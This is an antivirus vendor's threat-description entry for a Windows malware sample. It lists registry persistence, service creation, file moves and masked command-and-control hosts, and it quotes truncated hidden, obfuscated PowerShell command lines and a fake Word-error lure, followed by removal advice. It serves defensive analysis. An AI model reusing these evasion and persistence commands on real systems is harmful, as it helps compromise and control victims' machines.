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Exploit.Siggen3.6741

Added to the Dr.Web virus database: 2020-12-30

Virus description added:

Technical Information

To ensure autorun and distribution
Sets the following service settings
  • [<HKLM>\System\CurrentControlSet\Services\gbgjecusxkuugu.bvu] 'Start' = '00000002'
  • [<HKLM>\System\CurrentControlSet\Services\gbgjecusxkuugu.bvu] 'ImagePath' = '%WINDIR%\SysWOW64\rundll32.exe "%WINDIR%\SysWOW64\Wjnwwjptzxblcdc\gbgjecusxkuugu.bvu",Control_RunDLL'
Creates the following services
  • 'gbgjecusxkuugu.bvu' %WINDIR%\SysWOW64\rundll32.exe "%WINDIR%\SysWOW64\Wjnwwjptzxblcdc\gbgjecusxkuugu.bvu",Control_RunDLL
Malicious functions
Executes the following (exploit)
  • '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -ENCOD IAAkAEoAMQB3ACAAPQBbAFQAeQBwAGUAXQAoACIAewA2AH0AewAzAH0AewAwAH0AewA1AH0AewA0AH0AewAyAH0AewAxAH0AIgAgAC0AZgAnAHQAJwAsACcAYwBUAE8AcgB5ACcALAAnAFIARQAnACwAJwB5AFMA...
Modifies file system
Creates the following files
  • %HOMEPATH%\d73hpgv\mogjtd6\k52m.dll
Deletes the following files
  • %HOMEPATH%\d73hpgv\mogjtd6\k52m.dll
Moves the following files
  • from %HOMEPATH%\d73hpgv\mogjtd6\k52m.dll to %WINDIR%\syswow64\wjnwwjptzxblcdc\gbgjecusxkuugu.bvu
Substitutes the following files
  • %HOMEPATH%\d73hpgv\mogjtd6\k52m.dll
Network activity
Connects to
  • '74.##.215.226':80
  • '24.##4.79.147':8080
TCP
HTTP GET requests
  • http://www.sh##tnr.xyz/wp-content/zBgK/
  • http://www.ta####dbackups.com/wp-includes/Dfp/
HTTP POST requests
  • http://24.###.79.147:8080/470fs9/9pzgb/bigcd5v11z/0d23em9mvq292tw/bfg3re8/ via 24.##4.79.147
  • 'th###nhmy.com':443
  • 'ni####ogroms.com':443
  • 'va#####ancountry.com':443
  • 'ad###ght.com':443
    • UDP
    • DNS ASK th###nhmy.com
    • DNS ASK ni####ogroms.com
    • DNS ASK sh##tnr.xyz
    • DNS ASK va#####ancountry.com
    • DNS ASK ta####dbackups.com
    • DNS ASK ad###ght.com
    Miscellaneous
    Executes the following
    • '<SYSTEM32>\cmd.exe' cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IAAkAEoAMQB3ACAAPQBbAFQAeQBwAGUAXQAoACIAewA2AH0AewAzAH0Ae...
    • '<SYSTEM32>\msg.exe' user /v Word experienced an error trying to open the file.
    • '<SYSTEM32>\rundll32.exe' %HOMEPATH%\D73hpgv\Mogjtd6\K52M.dll Control_RunDLL
    • '%WINDIR%\syswow64\rundll32.exe' "%WINDIR%\SysWOW64\Wjnwwjptzxblcdc\gbgjecusxkuugu.bvu",Control_RunDLL

    Curing recommendations

    1. If the operating system (OS) can be loaded (either normally or in safe mode), download Dr.Web Security Space and run a full scan of your computer and removable media you use. More about Dr.Web Security Space.
    2. If you cannot boot the OS, change the BIOS settings to boot your system from a CD or USB drive. Download the image of the emergency system repair disk Dr.Web® LiveDisk , mount it on a USB drive or burn it to a CD/DVD. After booting up with this media, run a full scan and cure all the detected threats.
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    After booting up, run a full scan of all disk partitions with Dr.Web Anti-virus for Linux.

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    1. If the mobile device is operating normally, download and install Dr.Web for Android. Run a full system scan and follow recommendations to neutralize the detected threats.
    2. If the mobile device has been locked by Android.Locker ransomware (the message on the screen tells you that you have broken some law or demands a set ransom amount; or you will see some other announcement that prevents you from using the handheld normally), do the following:
      • Load your smartphone or tablet in the safe mode (depending on the operating system version and specifications of the particular mobile device involved, this procedure can be performed in various ways; seek clarification from the user guide that was shipped with the device, or contact its manufacturer);
      • Once you have activated safe mode, install the Dr.Web for Android onto the infected handheld and run a full scan of the system; follow the steps recommended for neutralizing the threats that have been detected;
      • Switch off your device and turn it on as normal.

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